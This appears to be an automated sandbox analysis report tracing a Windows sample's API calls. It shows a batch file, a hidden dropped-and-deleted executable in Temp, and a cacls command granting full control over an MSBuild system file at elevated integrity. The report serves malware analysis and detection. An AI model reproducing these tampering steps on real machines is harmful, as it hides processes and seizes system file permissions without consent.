File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "classes.jsa"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 56	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #121: mxkefu6a.exe

181

0

»

Information	Value
ID	#121
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula -c -y -p handles -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:57, Reason: Child Process
Unmonitor	End Time: 00:03:28, Reason: Self Terminated
Monitor Duration	00:00:30

OS Process Information

»

Information	Value
PID	0x1244
Parent PID	0x1208 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1254 0x 498

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00406078	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0x1254

181

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 2019-04-17 10:41:25 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 23795210336	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, type = file_type	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 225280	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 1168	1	Fn Data
Process	Create	process_name = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, os_pid = 0x12e4, show_window = SW_HIDE	1	Fn
File	Delete	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe	1	Fn
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #122: cacls.exe

0

»

Information	Value
ID	#122
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:58, Reason: Child Process
Unmonitor	End Time: 00:03:22, Reason: Self Terminated
Monitor Duration	00:00:23
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xf78
Parent PID	0x10cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1144 0x 112C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
